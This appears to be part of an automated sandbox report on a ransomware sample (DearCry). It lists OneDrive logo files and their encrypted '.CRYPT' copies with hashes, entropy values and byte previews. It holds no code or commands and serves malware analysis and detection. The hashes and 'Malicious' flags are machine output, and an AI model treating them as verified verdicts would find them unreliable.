                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-400.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):7536
                                                              Entropy (8bit):7.975121056093002
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6010FADC34601EAEABB192396B6300EF
                                                              SHA1:8F0F5778C33DE5FA55BA6674A3BAF237893AD2C3
                                                              SHA-256:E733E78287339F72A100DC46C0A3C3DABECE3FE6AB27224EB0299739E8A0736A
                                                              SHA-512:6343C4CA07049C8D13D9F4085849EC0298C2D991BFCDD25715C1E987127EA2C36A90BC0E0EC1C66AA182C552CB0B43610F263C35A58434880DB215AE8C37A0A3
                                                              Malicious:false
                                                              Preview: DEARCRY!..... .g.E...w...TN.e.K.~P.......B..w.].i.........r.s......Y....0...Al.....-..0....8...$J.>..pY.b......d/...n_3.e.$_...M..I...j......u.r...g.....0p|.e..S..l.......A..e..@..XJ...T..B(1\a....jW$..!.&.......!@...n:!,.e.n.1....@D.'eJ.^hPc.L..............h.e..L.hs.....[e........N..T2..............Z6.{r....U..(.$b..'..)...`..V@..{....L7..e...DX/.....f.'..b|.....O..E]..0..)I..y..XUy..pg..+F.P.yd..ar.b$.yt..[.[.Q.G.O........^.G&x0.b.~.Ml~...Q.._}........&2n2.4..Ts#.... ...c......%..zf..q..W:....\....7X..U../i.{.:?..m. .ic_...l^1.2...(J."j(wW.y...........u...n8.h..r...5..{.^."...D1Z.$...a.-...3:;.G"c....g@Vl..`.u:.%.r..."9......?.:..W.z...uD...W..=....d!.o.~M.n].R.|lU.,b.^YzJ...\.t.....E......P.<...}\...>.$t.d?.Z....K#.....E.q.@....^t...I3.J.Y\U z....r........$O-#..B...>"N*.8.`K[.......2n.b.0.....5&@(7...Z../.F.sC.....q.s...E|.U..^.._.&L.Y..S....UA...M&..Q..R.K.zX`.;?.....j.I...5...1...../.yRa.6...!.I...P...X...>{o...Nf?@.L.
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-100.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1566
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:269F66B3A96C4FC11D652C67598C5F0F
                                                              SHA1:27C9526FF3591A90B7EF76E3286F0C58B053C516
                                                              SHA-256:C9DCDD4F25AFC5A53ED86B3B751070D5E097635E788508E4116412698B28E1BB
                                                              SHA-512:1AAB2145E5923FABF955C99FE4BA83347BCCACF7A716E395D425317FE5B8F1D592A6E24AFE3EDB15F671336BCBB2D8FEB4DE63D12080AF2BE1E57F8403FDDAFA
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-100.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2128
                                                              Entropy (8bit):7.887341065500839
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8DD819DFC2DA65704BAD0856CCE986C9
                                                              SHA1:294BC6885DEDE86E351CF275C5CD123D08A3DAFF
                                                              SHA-256:77976CA5ACBE89308B63EE8B2757027566D334DE59292FB1E85171724E7931B9
                                                              SHA-512:4E9DFE01A282CD44C74533117B9D86ADB94E7A063B765719997FA8F147C1A0A58DCB7F831AC12D4816FA2D63423624BE950209E276744551DBAC1F9A6229C2B7
                                                              Malicious:false
                                                              Preview: DEARCRY!......)....d.2.l,...."V...^..x3.......'....M.e.,;..n.)...'.i..q....f$.=..@..d..4.L.\=t....h.@...&.k!\..q.K............k........(3..~.].p......\..v..Y.U.. .<..U.bi..1!A..W...f.KMU..vJ.....^..W1..ps.lK,w....#.bY3...'..)..eP.TkD..v..........A3.....j<4................;.E..6!(3XfmXl.....2S.y,...%.20?.......t......P#....^."w.'.s....*\.K.=\..g..*.|S.s.s=E.9H...s=..H~........F..nN\+.G.D....c..D....'xBp.Z{k^*[.:.|._x.l...-...?.3....y-M....P^......q.g"x*......k.`.2.O&...B:.J#D.o....`/.X..-?>F..2....7y..qM\.k......[...B.t...{.D.5.+. .S...|<.%iy.]....$O..bad...KE7.W`.]N...[.(...2...MA%.....C.}..5..-.S..Y.].V.....F!....9..pf......n.f..s.q.}.......i~..IB..5|.|$..3.w..t.5...<.'>.....-.71.{T...{...cT..L...X.-..I.U@.{.9).+kBO.x.&...<.......f[....&#t....^..CPF......F.^....nl...S...K.a..8-d.d.jI3.".&fT........j'.H...^.G.K...d*P:.}...H.;..C...[..q.M.....Rs..E......H.{F.?..3..*.E..x.W.N=.....6.f.E|.........8V...X....R..8..-W.:ex1.e._f.~..w..."Rq
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-125.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2036
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0C68AEB384816E78DF9CF7EE1056A27E
                                                              SHA1:47EE0DE93D75DDB4A86B8CB0C29C9F0EA6B92369
                                                              SHA-256:6AE0F77E838DF3EAD92EE8CFAEFFBFCAEDE84FBD8DF55FE718982F4C0A352029
                                                              SHA-512:BB6B6DF796DF9756A3158B58551F486AD183C98B51688FE15B7A2C5F9D23BE89F5061F17B72DCEC1F66F3FC721653864DD28A3281952ECD13703A8265F8665F9
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-125.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2608
                                                              Entropy (8bit):7.923129332660903
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E48F48C3DDD284C78A84F7AA0E63E56A
                                                              SHA1:65219BF963D4AFF5E142796CCD071A1988581E60
                                                              SHA-256:5A021D86359584BC1A2C22D5149EAD0BBA9BF95AEB9D6CDF1554596F3B51304E
                                                              SHA-512:F3ABF3B65ECBA0D864605AAD950FC9D46A8D2861DE5AA881807810AA4620501EEA999C8946345238D4A2B539FC48FCD12C21835A0F6C05258B38385314820820
                                                              Malicious:false
                                                              Preview: DEARCRY!......N..A.-..%.....p......}.......t...>.RC...y..-.....n.Kv..7...e.C...<..<.<dr..^4q...]....S2...M'......V.......k`.n....ry......Fp....mJ.+..|.<+S.n..4M..G......j.=..f...c..+..m.........w..$.+P.(n...D/{o7E.0(...N.Ybj...TY.b.a...o..$.E..d4..............%\|..F.J.......2<.[....z9.u._....c.i.y....n....4.|*|...Ss.`......x._6..2K.0]aW...q..n.~6g.3....[8..Z.6.u.Fy.)..M.P.../......J....$..R....O..>..U.{n'..i.....)...hSgq..>..fi....yno!.o.E..>..r.o....+.4YM.X..4.B...v. ..%..pOb.....1..0.h...........U.....J.]..Kv.......Ic.? #...n..q...1....V1B...../................7.[..."....Y...j...?....{.a.......2.T").y.XH..0......S.V(....&R@vw.$....W.."E..d....;.X...|.W|.L...Q./.t:<X...$..v+..V.%i..E.....Y.w'.u+.7:.E......w.\u...gE....*...E.g%8....w|...E.n.5.rfT5@.b....D.|. .W....4=.<.AI.x5....1.C@.j.,....~....y..v........./.).*..z&.$....\.'....tf......__.,&..)d....YM5g..;....w..7.G231D.^....r.hn.5ET....a...^.\%.q....6...w...]....,_6.
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-150.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2404
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DD9A233E3B871E0DBB684994FA70A1A7
                                                              SHA1:F077FF962DAD1EF5FA4C52134F1F173C36558A3A
                                                              SHA-256:EE828C64E0A6BA8BD158B5B8AD020464181B2DB4D46F8DFF13B2F041DA4C7D21
                                                              SHA-512:17F970231C92335A1B942D94134D2FD1CE654C1258DEF961EE2A3BE173E076F3C1EDAE1EE9D05E22D020864FADB72C00CF3ABD5B229D3F18CF8589E3B117596A
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-150.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2992
                                                              Entropy (8bit):7.9280739323462
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:649F9EED0C92C0202F017DD214590260
                                                              SHA1:27E9F4F83F6EABE9C5A8EA704FAD555C1CE30778
                                                              SHA-256:525B6809C4B81EDC8104302958FDBF3EC9D3EC0423C9A9FCCCE0B1C5BF252A2C
                                                              SHA-512:A4234999EE754DB84741CB3A8E2D0CDCC2147C7FE230AADC97B6FF6384916551FF3843D9275565D2579641A4811B0423D55C3EE7510B19BCE48EC6E66B624E1A
                                                              Malicious:false
                                                              Preview: DEARCRY!....;.eQ..=<...^.3......!..........K.m.+...~E.pK]9.W...*..t.2.$..>u...G\....z.......+.#h....c20..W.r.Lmx:.z.".EqW9......T*.P.Jy..pN.)..b&.k38{.Ys.&^]."_U...._.ku<p%h.AXy.a.o...F..c.....Y..g..h...O............S%......=Nx..... ...Gm.qD.i..!..P.B................{.u.sgR.#g.W.k........b.O.(.f..'.#....-|..,...B...y....4.6.1[2.O..*..........Ar..[.9..?...4.C.YO...r...O..m3Cd-.C.....S/.$..1......5K_n.o..C...W,.....e..'..#....c....x./L#..+.<..@.L.;Nf.sQhF..A`.3.Q....?.(........96...N........&y0..8q..l..s...&x.....z..bY).H.:.-..OtvXQ...J......t......$..P;..T...T.f...W..$..~.#.f.,............-.tf.A9...-.I6....o...3....h..4;..o...i.0l..!....(\..d..[.CA.*.c....X[n..U......&(Xh..J$.sw.&..R..E...*.b.+c.a......i.m...v.EL..uh0..J?....oz..(..^..csQ1..Ub....P....>*...`....!1..D...$G.......^V|`.........f^.);.'|...A_/).........H....W...J.Nb...$....r..u.i.JO.....O.W.{!..e....3.[..x.O4..Ls...v......Xt..>..'.&...z......e-..4..-......h;...qj....s...g.7"...
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-200.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3284
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E7B1369C0F66B752695ACC20A1403187
                                                              SHA1:B2D1C411A2196C3A9AD0277EB763ED9DF25A27C7
                                                              SHA-256:B77379158522D48E12BDBA8C40D23DC70DF189C77EEAE67F1D9F0C1BB60F2DD4
                                                              SHA-512:1E263C1B5CC2AE125F45E90BC1877CD9190A177D9CDE915400B03010313886CEBA0038CC670C3498486CE063356387400439CA7E39393882565D2DB298235A16
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-200.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3856
                                                              Entropy (8bit):7.942241578462763
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:BE3D249476270B98BDDE1340C0C30DD4
                                                              SHA1:9CDD5069396EC8AC25F9A1B4504D535479F509C8
                                                              SHA-256:F7690B1966CA795ECB06321142419496D8DB11D45ABB9A1483534833EF215987
                                                              SHA-512:A819888DD6B6EE4FA6C32195470FF193037B599019D970CFE89133E2F0C4E181860723DE7F0214D60FE6C7344465314C892AFC1F788F97C152A70BC5C457893C
                                                              Malicious:false
                                                              Preview: DEARCRY!..........pu...o.g....Zp.i{.R6_.=?k.w.........DL.l.....G.5#..[I`.9.=.3h.QgC..a..{z.:5..G..K...[..HMQ..~r%.O_......eR..3_O....$.{og..>..D.5@.......?lg..<x..Jy...>./.p.(.v,.R..a......@..,...:K..+N.=q\.U\.b...N..g&.sm.^#....$W....$k...t..I.;B.J]X.=.>.....j.......%.....M.LL....:1...4..!R..Y....qd.us.1.......@....\/!...A&.6.b.15..P.6...a.U..pV.URA....N..rN."MO...K.>.<.q.._.j#..`Z>...<c,$.$....8.!.+W...V...e.B..F..~8I.....#u5q.Z}..y.,Z...c...w.T....R..%]g...7T.k..|._W.X.....|"Jd}`..#......JSD7H.UC.N......h.Q..r..aBVco3.A.].........v...U.NE..#L.{f......d.|.ko......!B...4..v....S%....../.......[dCCv$.....Ce..A.K..I.P4A. [7.K..Z.....UD4Z...6.P0....pP.....-J.S..p..rs'..Xb.\......Q...C.kz..ph..O,fe.BJ6../'.f.kr....V....p...S9..#@e....7x,.0R.W.k..5.$.I..}.Q+..#.....v-.J_Q.......;.V.y..o6....@a@.!.\.)(er..|.d..A..4..Kh....*../....wX...7[..5X....;....l.0.OX..%=2W]%g.{....;*+.....%../...bG....2u.|C.v........\...w.6.p...1..,.k%......^.
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-400.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):6952
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6E2DF67311FDAF5DCFDA8E508564AE55
                                                              SHA1:2FABB696BC3C13E13B5E68B77C093A3FA2BAFA3E
                                                              SHA-256:354E5594EB2C62E6D29D1CDA600B6BF452ED5E6F0AD751DB0181138B2AFE17E3
                                                              SHA-512:17BEE0EA1071BDBBC67342FBDF3DBB14ABAAFDA925B153B27275579D257080074C0814472DC49D8072A3F3FE2CCB9BB601FE83275E52ED97DFBE19AB4A3C4B81
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-400.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):7536
                                                              Entropy (8bit):7.9708549039041285
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5B04A58D4B24B56FA4EA6ECC1030CE79
                                                              SHA1:FC0BC3F4437C92F91A78FB03EC5C2616A633D38B
                                                              SHA-256:348081D6927760A42519BB9FD10F4C91611D68E2756F6B1BBF91E01DF4D2DC16
                                                              SHA-512:0B539794D39BDDB48239FF747FAE7DF98035A63BCBCD26715E9D0EC45023E1F4F5742E5F963DAE70C22D5C530880976A4BE9482055BC95808C4751D58463C2E8
                                                              Malicious:false
                                                              Preview: DEARCRY!......QwI..u........W.E.b.67G......9.......0w.&_..!..8...x/.^.I..:4...$.n.93<_.0G..j.8.z.e.K]..o.0.u.h.|.&..+n.P}......L...l..T..bYT../.=...\Y.M..&...>g.x...x......u....9c'49m..:d.,.d...E...p....4{kYn........F.<....a....@..I ...L.dV"(@M.....Y...............i_8y..\...nO2.8..............<a.?.H...=k.Iqq.`...&.S.z....(..x.. ...<..n....d.%....u/.d...MG$$...#.1.[....r..........+....Pm....4.C.%I..@.F@kg..K.....:Y..AJ`..&U.....F[B.>nY>t..1g.O.h..sy^"...D.\<.\ q.n.7....6."..2S..h..N...rB.s..UT.`R.)^<.A..a..Ms...4..j....q%.N.....Gk.pr....xE.%CGR....q.|Z.<O...}c.x.X).wY.-......P...c..T.q*{....b:.....(r.T.h......`.....@.a...c.Y.wy~9.[.......b*.K.~..o..m.E...&.#F,......o.<.P...V..Y.v.A.#w&3 Z.....*...3..A...RA'...!.(8$.y.C......5.r)..-...EI.....>. ....Z...M/.....j.y...$..`.?(..'...MF+A.....m&E...y...X..j......7..D.5.0...#}R.Z..Se....Z^~.........YmE.TH.i.P.6aN..#"...Q........T.......0.(o3...h+.+YuC.. .g-.iy.7.....F'.!D...........T..6
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-100.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1975
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:02DF7BC27DE8E7E5C78BF6F6374D83A6
                                                              SHA1:EE8BBFBFF776EF21B94CAC2A3C6BCA3C26D0EFB0
                                                              SHA-256:BDEAAD2BA08C2A8AC080739A231DE4F1A6564EF18265440A09180F11EBACC351
                                                              SHA-512:4CB204BACE3F52D2C6DE48E5C5734A29FEE379FACFA6422FD991BDDB514809C0322320A905DF6C2970FDF6C710ED2CA5794388E96D3D8C3AD81BDE5C67C4AB18
                                                              Malicious:false
